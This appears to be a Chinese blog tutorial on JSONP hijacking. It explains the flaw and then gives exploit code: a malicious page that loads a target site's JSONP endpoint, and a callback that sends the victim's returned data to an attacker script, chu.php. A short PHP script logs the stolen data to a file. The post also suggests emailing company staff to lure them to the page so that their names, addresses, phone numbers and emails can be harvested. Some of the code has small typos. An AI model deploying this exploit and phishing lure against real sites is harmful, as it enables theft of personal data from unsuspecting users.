关于jsonp劫持

简介: Jsonp是基于json格式的接口,主要是为了解决跨域请求资源的问题,不清楚跨域的自行百度一下浏览器跨域详解, 他的实现原理就是利用html的script元素标签进行远程调用jsonp文件来实现数据的传输

  前一段时间有人问我jsonp劫持,正愁不知道发什么,然后就对jsonp这个漏洞梳理了一下


jsonp介绍:

Jsonp是基于json格式的接口,主要是为了解决跨域请求资源的问题,不清楚跨域的自行百度一下浏览器跨域详解, 他的实现原理就是利用html的script元素标签进行远程调用jsonp文件来实现数据的传输


下面是某站的jsonp漏洞,jsonp传输的数据可能有手机号,邮箱,如果是购物网站还可能存在收获地址等敏感信息,现在很多大型网站还都存在jsonp漏洞,但是并没有泄露一些敏感的信息。


jsonp利用:

jsonp大概就是网站B对网站AJSONP请求没有进行安全检查直接返回数据,则网站B便存在JSONP漏洞,网站A利用JSONP漏洞能够获取用户在网站B上的jsonp传输的数据


详解:

1,用户在网站B进行了登录,网站B存在jsonp漏洞,jsonp传输的数据里面有邮箱信息

2,用户访问了网站A(A是我们自己编译好的恶意网站),访问后的响应信息中包含javascript代码,代码执行后会去请求网站Bjsonp文件,然后将请求后的内容弹出,这只是一个测试代码,具体代码在下方

测试代码:



<scripttype="text/javascript">
function Callback(content)
{
    alert(content.xxx);
}
</script>
<script type="text/javascript"src="http://B.com/jsonp?callback=jQuery"></script>





<scripttype="text/javascript">function Callback(content){    alert(content.xxx);}</script><script type="text/javascript"src="http://B.com/jsonp?callback=jQuery"></script>


3B收到请求后会生成json格式的数据(这个数据包含手机号等信息),json格式的数据返还给A

4A收到返还的响应后会对数据进行Callback回调处理,利用代码写的是弹窗所以就会弹出来A请求B之后返还的数据

 

下面我对网站A的代码做了填充修改,将代码插入到html页面中

正式代码:

<script type="text/javascript">
function Callback(content)
{
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码
        xmlhttp=new XMLHttpRequest();
    }
    else
    {
        // IE6, IE5 浏览器执行代码
        xmlhttp=newActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
{
        if (xmlhttp.readyState==4 &&xmlhttp.status==200)
        {
            xmlhttp.responseText
        }
    }
   xmlhttp.open("GET","/chu.php?content=content",true);
    xmlhttp.send();
}
</script>
<script type="text/javascript" src="http://B.com/jsonp?callback=jQuery"></script>







<script type="text/javascript">function Callback(content){    var xmlhttp;    if (window.XMLHttpRequest)    {        // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码        xmlhttp=new XMLHttpRequest();    }    else    {        // IE6, IE5 浏览器执行代码        xmlhttp=newActiveXObject("Microsoft.XMLHTTP");    }    xmlhttp.onreadystatechange=function(){        if (xmlhttp.readyState==4 &&xmlhttp.status==200)        {            xmlhttp.responseText        }    }   xmlhttp.open("GET","/chu.php?content=content",true);    xmlhttp.send();}</script><script type="text/javascript" src="http://B.com/jsonp?callback=jQuery"></script>

请求B网站之后回调数据发送给chu.php,他会将返回的内容请求

chu.php:

<?php
$get = $_GET['content'];
$myfile =fopen("newfile.txt","a");
fwrite($myfile,"$get\n");
fclose($myfile);
?>






<?php$get = $_GET['content'];$myfile =fopen("newfile.txt","a");fwrite($myfile,"$get\n");fclose($myfile);?>


漏洞利用起来需要一定的条件,看到这里估计很多人会问危害,危害就获取个人信息,这个漏洞主要攻击者是企业,可以获取企业内部人员信息,我们可以给企业人员发送邮件等方式让用户去访问网站A,访问后会获取企业人员信息(地址,姓名,手机号,邮箱等),也可以用于蜜罐的身份识别等。

目录
相关文章
|
1天前
|
JSON 安全 前端开发
浅析CORS跨域漏洞与JSONP劫持
浅析CORS跨域漏洞与JSONP劫持
11 3
|
2月前
|
前端开发 JavaScript API
js【详解】ajax (含XMLHttpRequest、 同源策略、跨域、JSONP)
js【详解】ajax (含XMLHttpRequest、 同源策略、跨域、JSONP)
38 0
|
JSON JavaScript 前端开发
jsonp解决Ajax跨域问题
jsonp解决Ajax跨域问题
102 0
|
前端开发 安全 API
深入了解CORS数据劫持漏洞
1.1. CORS介绍 CORS(跨源资源共享)是一种用于在Web应用程序中处理跨域请求的机制。当一个Web应用程序在浏览器中向不同的域(源)发起跨域请求时,浏览器会执行同源策略,限制了跨域请求的默认行为。同源策略要求Web应用程序只能访问与其本身源(协议、域名和端口)相同的资源。 然而,在某些情况下,我们希望允许来自其他源的跨域请求,例如使用AJAX进行跨域数据访问或在前端应用程序中嵌
117 0
|
JSON 安全 JavaScript
跨域访问(JSONP)
跨域访问(JSONP)
136 0
跨域访问(JSONP)
|
前端开发
利用jsonp解决跨域问题
这篇文章给大家分享的是利用jsonp解决跨域问题。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。
90 0
|
JSON 缓存 JavaScript
JSONP - 跨域篇
JSONP - 跨域篇
239 0
JSONP - 跨域篇
|
JSON 前端开发 JavaScript
jsonp的原理·jsonp是不是ajax中实现跨域访问的技术
jsonp的原理·jsonp是不是ajax中实现跨域访问的技术
167 0
|
JSON 前端开发 JavaScript
Ajax跨域问题解决(Ajax JSONP)
因WEB安全原因,Ajax默认情况下是不能进行跨域请求的,遇到这种问题,自然难不倒可以改变世界的程序猿们,于是JSONP(JSON with Padding)被发明了,其就是对JSON的一种特殊,简单来说就是在原有的JSON数据上做了点手脚,从而达到可以让网页可以跨域请求。在现在互联网技术对“前后.
5521 0
|
JSON JavaScript 前端开发
使用JSONP实现跨域
什么是跨域? 简单的来说,出于安全方面的考虑,页面中的JavaScript无法访问其他服务器上的数据,即“同源策略”。而跨域就是通过某些手段来绕过同源策略限制,实现不同服务器之间通信的效果。 什么是JSONP? JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。
1558 0